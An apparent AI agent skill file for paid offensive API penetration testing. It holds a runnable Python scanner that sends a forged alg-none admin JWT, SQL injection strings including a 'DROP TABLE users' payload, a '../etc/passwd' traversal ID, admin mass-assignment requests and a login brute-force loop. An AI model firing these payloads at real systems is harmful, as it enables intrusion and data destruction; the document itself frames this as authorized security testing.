API Destroyer

Api Destroyer

Overview

Offensive security testing of API endpoints — REST, GraphQL, gRPC, WebSocket. You break authentication, bypass rate limits, find IDOR/BOLA chains, inject past WAFs, and abuse business logic in ways automated scanners miss. Each finding is a priority-P1 exploit path the client's pentest missed, priced at $500-2000 per finding.

When to Use

Trigger phrases:

• "api destroyer"

• "Testing REST/GraphQL/gRPC/WebSocket APIs"

• "Hunting IDOR/BOLA on API endpoints"

• "Bypassing API rate limiting and authentication"

• Testing REST/GraphQL/gRPC/WebSocket APIs

• Hunting IDOR/BOLA on API endpoints

• Bypassing API rate limiting and authentication

• Testing business logic via API manipulation

• API-first application security assessments

• Pre-launch API security audit for fintech/healthtech startups

When NOT to Use

• When you lack proper authorization for testing (written scope required)
• For production systems without change management / rollback plan
• When the task requires legal or compliance expertise beyond technical scope
• When the API has no authentication at all — that is a 5-minute report, not an engagement

Prerequisites

• Burp Suite Pro OR CA certificate installed for HTTPS interception
• API documentation (OpenAPI/Swagger/Postman collection) or ability to reverse-engineer from traffic
• Test credentials for 2+ privilege levels (user + admin)
• Target environment with rollback capability
• Written authorization (scope of work signed)

Money-Making Overview

Target Buyer

API-first startups (fintech, healthtech, SaaS), Series A-B companies launching v2 APIs, and enterprises migrating monolithic apps to microservices. Decision-makers: CTO, Head of Engineering, VP of Security.

Service Tiers

Upsell: Each critical finding remediated and retested = $500. Retainer for monthly API security = $3,000/mo (50 endpoints).

Expected First Dollar Timeline

1-2 outreach emails/day to API-first startups → 3-5 responses/week → 1-2 signed scopes → first payment within 14 days.

Workflow

1. Recon — Map attack surface: enumerate all endpoints, parameters, auth schemes, rate limits. Collect OpenAPI/Postman docs.
2. Auth Bypass — JWT alg none, alg confusion, token replay, cookie manipulation, missing auth on hidden endpoints.
3. IDOR/BOLA — Chain parameter IDs across endpoints. /users/{id}/orders/{order_id} — swap IDs, escalate privilege.
4. Injection — SQLi, NoSQLi, SSTI, XXE, command injection through every parameter, header, and body field.
5. Rate Limit Abuse — Brute force, credential stuffing, resource exhaustion. X-Forwarded-For spoofing, parameter pollution.
6. Business Logic — Price manipulation, quantity overflow, workflow bypass, race conditions (Turbo Intruder single-packet attack).
7. Report — Each finding: endpoint, HTTP request/response, CVSS v3.1 score, reproduction steps, remediation code.

Tools

• Burp Suite Pro — Interception, Intruder, Repeater, Scanner extensions
• Turbo Intruder — Single-packet race condition attacks
• ffuf — Fast fuzzing for hidden endpoints and parameters
• jwt_tool — JWT alg confusion, key confusion, kid injection
• GraphQL Voyager / InQL — Introspection query construction
• Postman / Newman — Collection-based testing, CI/CD integration
• custom Python harness — Parallel auth bypass + injection scanning (see First Action)
• k6 — Rate limit and resource exhaustion testing

Process

1. Recon — Enumerate every endpoint, parameter, auth header. Build endpoint inventory.
2. Auth Bypass — Systematically test auth at every endpoint (including hidden/unauthenticated ones).
3. BOLA Chain — Test horizontal AND vertical IDOR. Escalate from user A's data to admin access.
4. Injection — Parameters, headers, body, GraphQL variables, WebSocket messages.
5. Rate Abuse — Test per-endpoint rate limits, find unthrottled batch/export endpoints.
6. Business Logic Abuse — Race conditions, negative quantities, decimal precision, state machine bypass.
7. Report — Deliver per-finding with reproduction request/response and fixed code.

First Action in 60 Minutes

Run this script against your target API to surface auth bypass, injection points, and rate limit gaps immediately.

#!/usr/bin/env python3
"""api-destroyer-quick — 60-minute OWASP API Top 10 surface scan.
Saves results to api_quick_scan_report.json and prints findings summary.
Usage: python3 api_destroyer_quick.py <base_url> [api_key]
"""
import json, sys, time, urllib.request, urllib.error, urllib.parse

BASE_URL = sys.argv[1].rstrip("/")
API_KEY  = sys.argv[2] if len(sys.argv) > 2 else ""

HEADERS = {"Content-Type": "application/json"}
if API_KEY:
    HEADERS["Authorization"] = f"Bearer {API_KEY}"

findings = []

def req(method, path, data=None, custom_headers=None):
    """Make HTTP request, return (status_code, body_text, response_headers)."""
    hdrs = {**HEADERS, **(custom_headers or {})}
    body = json.dumps(data).encode() if data else None
    req_obj = urllib.request.Request(
        f"{BASE_URL}{path}", data=body, headers=hdrs, method=method
    )
    try:
        resp = urllib.request.urlopen(req_obj, timeout=15)
        return resp.status, resp.read().decode("utf-8", errors="replace"), dict(resp.headers)
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", errors="replace"), dict(e.headers)
    except Exception as e:
        return 0, str(e), {}

# 1. Auth bypass — try without token and with broken token
print("[*] Testing auth bypass...")
for label, hdr in [
    ("no-auth", {}),
    ("alg-none", {"Authorization": "Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIn0."}),
    ("empty-token", {"Authorization": "Bearer "}),
]:
    status, body, _ = req("GET", "/admin/users", custom_headers=hdr)
    if status not in (401, 403, 0):
        findings.append({
            "type": "Auth Bypass", "endpoint": f"GET /admin/users",
            "method": label, "status": status,
            "detail": f"Expected 401/403, got {status}. Endpoint accessible with {label}."
        })

# 2. IDOR — try accessing another user's resource
print("[*] Testing IDOR/BOLA...")
for uid in (2, 99999, "admin", "../etc/passwd"):
    status, body, _ = req("GET", f"/users/{uid}/profile")
    if status == 200:
        findings.append({
            "type": "IDOR/BOLA", "endpoint": f"GET /users/{uid}/profile",
            "status": status,
            "detail": f"Accessed user {uid} profile. Possible IDOR if {uid} ≠ current user."
        })

# 3. SQL injection probes
print("[*] Testing injection...")
sqli_payloads = ["' OR '1'='1", "'; DROP TABLE users--", "\" OR 1=1--"]
for payload in sqli_payloads:
    qs = urllib.parse.urlencode({"id": payload, "name": payload, "email": payload})
    status, body, _ = req("GET", f"/users?{qs}")
    if status == 200 and ("syntax error" in body.lower() or "unclosed" in body.lower()):
        findings.append({
            "type": "SQL Injection", "endpoint": f"GET /users?{qs}",
            "status": status,
            "detail": f"SQL error in response with payload: {payload}"
        })

# 4. Mass assignment
print("[*] Testing mass assignment...")
admin_payloads = [
    {"email": "test@test.com", "role": "admin", "isAdmin": True},
    {"email": "test@test.com", "role": "administrator"},
    {"email": "test@test.com", "permissions": ["*"]},
]
for payload in admin_payloads:
    status, body, _ = req("POST", "/users", data=payload)
    if status in (200, 201):
        findings.append({
            "type": "Mass Assignment", "endpoint": "POST /users",
            "payload": payload, "status": status,
            "detail": f"Created/modified user with elevated role payload: {payload}"
        })

# 5. Rate limit test
print("[*] Testing rate limiting...")
start = time.time()
success_count = 0
for i in range(50):
    status, _, _ = req("GET", "/login", data={"username": f"user{i}@test.com", "password": "wrong"})
    if status == 200:
        success_count += 1
elapsed = time.time() - start
if success_count > 40:
    findings.append({
        "type": "Rate Limit Bypass", "endpoint": "POST /login",
        "detail": f"{success_count}/50 requests succeeded in {elapsed:.1f}s. No rate limiting detected."
    })

# Report
report = {
    "target": BASE_URL, "findings_count": len(findings), "findings": findings,
    "recommendations": [
        "Enforce authentication on every endpoint — no default allow",
        "Validate JWT signature algorithm server-side (reject 'none')",
        "Implement object-level authorization checks (user MUST own resource)",
        "Use parameterized queries or ORM — never string-concatenate input",
        "Whitelist writable fields — reject unexpected body parameters",
        "Rate limit per-user, per-IP with exponential backoff"
    ]
}
with open("api_quick_scan_report.json", "w") as f:
    json.dump(report, f, indent=2)

print(f"\n=== API Destroyer Quick Scan Complete ===")
print(f"Findings: {len(findings)}")
for f in findings:
    print(f"  [{f['type']}] {f.get('endpoint','')} — {f['detail'][:100]}")
print(f"\nFull report: api_quick_scan_report.json")

Run it: python3 api_destroyer_quick.py https://api.target.com "Bearer <token>"

Deliverable Format

Send the client an invoice-ready report. Structure:

# API Security Assessment — <Client Name>
**Engagement:** <Basic | Pro | Enterprise>
**Date:** <YYYY-MM-DD>
**Tester:** <Your Name / Company>

## Executive Summary
<3-paragraph overview: scope, critical findings count, risk level>

## Scope
- Base URL: <url>
- Endpoints tested: <N>
- Auth method: <JWT / API Key / OAuth2>
- Tools: Burp Suite Pro, api-destroyer-quick.py, jwt_tool, ffuf

## Risk Summary
| Severity | Count |
|---|---|
| Critical | <N> |
| High | <N> |
| Medium | <N> |
| Low | <N> |

## Findings (Detailed)

### CRITICAL: <Title>
- **Endpoint:** `POST /api/v2/orders`
- **CWE:** <CWE-ID>
- **CVSS v3.1:** <score> (<vector>)
- **Description:** <2-3 sentences>
- **Request:** `curl -X POST ...`
- **Response:** `HTTP/1.1 200 OK ...`
- **Impact:** <what attacker can do>
- **Remediation:** <code snippet or config change>

### HIGH: <Title>
...

## Rate Limiting Results
| Endpoint | Requests | Success Rate | Throttled? |
|---|---|---|---|
| POST /login | 50 | 98% | No (CRITICAL) |
| GET /users | 100 | 12% | Yes |

## Remediation Summary
1. Fix CRITICAL items before production
2. Re-test after fixes (included in Pro/Enterprise)
3. Schedule recurring API security assessment

## Invoice
| Item | Price |
|---|---|
| API Security Assessment (<Tier>) | $<price> |
| Critical finding remediation retest | $0 / $500 ea |
| **Total** | **$<total>** |
| **Payment terms** | Net 15 via wire / crypto |

Verification

• Every endpoint in scope tested for auth bypass (no-token, bad-token, alg-none)
• Horizontal AND vertical IDOR attempted on every parameter ID
• SQL/NoSQL injection probes on all string inputs
• Mass assignment on all POST/PUT/PATCH endpoints
• Rate limit tested on auth and data-export endpoints
• All findings reproducible via curl one-liner
• No false positives in final report
• Remediation code provided for every finding
• Client can re-test after fixes (included in Pro+)
• Invoice attached

Anti-Rationalization Table